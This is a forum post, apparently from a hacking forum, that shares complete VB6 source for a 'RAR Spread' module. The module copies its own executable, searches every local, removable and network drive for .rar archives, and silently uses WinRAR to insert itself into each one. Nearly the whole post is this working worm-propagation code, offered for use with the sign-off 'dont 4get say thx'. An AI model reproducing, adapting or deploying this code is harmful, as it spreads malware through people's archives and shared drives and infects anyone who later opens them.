[SRC] RAR Spread [VB6]

Discussion in 'Visual Basic' started by Nicholas Noble, '.

  1. Nicholas Noble

    Nicholas Noble New Member

    Messages:
    3
    [SRC] RAR Spread [VB6]
    Code:
    '---------------------------------------------------------------------------------------
    ' Module : mRarSpread
    ' DateTime : 2010/01/13
    ' Coder : ParadoX
    ' Purpose : Injects own file into every rar-file on system
    ' Usage : At your own risk
    ' Call SearchAndInfectRars [Starts the proccess]
    ' Requirements: None
    '---------------------------------------------------------------------------------------

    Option Explicit

    Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
    Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
    Private Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
    Private Declare Function GetShortPathName Lib "kernel32.dll" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
    Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
    Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
    Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
    Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
    Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

    Private Const MAX_PATH = 260
    Private Const INVALID_HANDLE_VALUE = -1
    Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
    Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
    Private Const FILE_ATTRIBUTE_HIDDEN = &H2
    Private Const FILE_ATTRIBUTE_NORMAL = &H80
    Private Const FILE_ATTRIBUTE_READONLY = &H1
    Private Const FILE_ATTRIBUTE_SYSTEM = &H4
    Private Const FILE_ATTRIBUTE_TEMPORARY = &H100

    Private Type FILETIME
    dwLowDateTime As Long
    dwHighDateTime As Long
    End Type

    Private Type WIN32_FIND_DATA
    dwFileAttributes As Long
    ftCreationTime As FILETIME
    ftLastAccessTime As FILETIME
    ftLastWriteTime As FILETIME
    nFileSizeHigh As Long
    nFileSizeLow As Long
    dwReserved0 As Long
    dwReserved1 As Long
    cFileName As String * MAX_PATH
    cAlternate As String * 14
    End Type

    Public Function SearchAndInfectRars() As Boolean
    On Error Resume Next

    If Dir(Environ("ProgramFiles") & "\WinRAR\WinRAR.exe") <> "" Then
    Dim sBuffer As String * 255
    Dim sDrives As String
    Dim lResult As Long
    Dim sDrive As String
    Dim sPos As Integer
    Dim lType As Long

    Call CopyFile(App.Path & "\" & App.EXEName & ".exe", Environ("HOMEDRIVE") & App.EXEName & ".exe", False)

    lResult = GetLogicalDriveStrings(Len(sBuffer), sBuffer)
    sDrives = Left$(sBuffer, lResult)

    While Len(sDrives) > 0
    sPos = InStr(sDrives, Chr$(0))
    sDrive = Left$(sDrives, sPos - 1)
    sDrives = Mid$(sDrives, sPos + 1)

    lType = GetDriveType(sDrive)

    If lType = 2 Or lType = 3 Or lType = 4 Then
    Call FindFiles(Left$(sDrive, 2), "*.rar")
    End If
    Wend
    End If
    End Function

    Private Function RARSpread(ByVal WinrarPath As String, ByVal RarArchive As String, ByVal Malware As String) As Boolean
    On Error GoTo err:
    If (Dir(WinrarPath) <> "") And (Dir(RarArchive) <> "") And (Dir(Malware) <> "") Then
    Dim lRet As Long
    lRet = ShellExecute(GetModuleHandle(App.Path), "open", WinrarPath, " a -y " & RarArchive & " " & Malware, "C:\", 0)
    If lRet = 42 Then
    RARSpread = True
    Else
    RARSpread = False
    End If
    Else
    RARSpread = False
    End If
    Exit Function
    err:
    RARSpread = False
    End Function

    Private Sub FindFiles(ByVal vsFolderPath As String, ByVal vsSearch As String)
    Dim WFD As WIN32_FIND_DATA
    Dim hSearch As Long
    Dim strDirName As String

    DoEvents

    If Right$(vsFolderPath, 1) <> "\" Then
    vsFolderPath = vsFolderPath & "\"
    End If

    hSearch = FindFirstFile(vsFolderPath & "*.*", WFD)

    If hSearch <> INVALID_HANDLE_VALUE Then GetFilesInFolder vsFolderPath, vsSearch

    Do
    If (WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) Then strDirName = TrimNulls(WFD.cFileName)
    If (strDirName <> ".") And (strDirName <> "..") Then
    FindFiles vsFolderPath & strDirName, vsSearch
    End If

    Loop While FindNextFile(hSearch, WFD)
    FindClose hSearch
    Kill "C:\" & App.EXEName & ".exe"
    End Sub

    Private Sub GetFilesInFolder(ByVal vsFolderPath As String, ByVal vsSearch As String)
    On Error Resume Next
    Dim WFD As WIN32_FIND_DATA
    Dim hSearch As Long
    Dim strFileName As String
    Dim lVal As Long
    Dim short_path As String

    If Right$(vsFolderPath, 1) <> "\" Then
    vsFolderPath = vsFolderPath & "\"
    End If

    hSearch = FindFirstFile(vsFolderPath & vsSearch, WFD)
    If hSearch <> INVALID_HANDLE_VALUE Then
    Do
    If (WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY Then
    strFileName = TrimNulls(WFD.cFileName)
    short_path = Space$(256)
    lVal = GetShortPathName(vsFolderPath & strFileName, short_path, Len(short_path))
    Call RARSpread(Environ("ProgramFiles") & "\WinRAR\WinRAR.exe", Left$(short_path, lVal), Environ("HOMEDRIVE") & App.EXEName & ".exe")
    End If

    Loop While FindNextFile(hSearch, WFD)
    FindClose hSearch
    End If
    End Sub

    Private Function TrimNulls(ByVal vsStringIn As String) As String
    If InStr(vsStringIn, Chr(0)) > 0 Then
    vsStringIn = Left$(vsStringIn, InStr(vsStringIn, Chr(0)) - 1)
    End If
    TrimNulls = vsStringIn
    End Function

    dont 4get say thx

Share This Page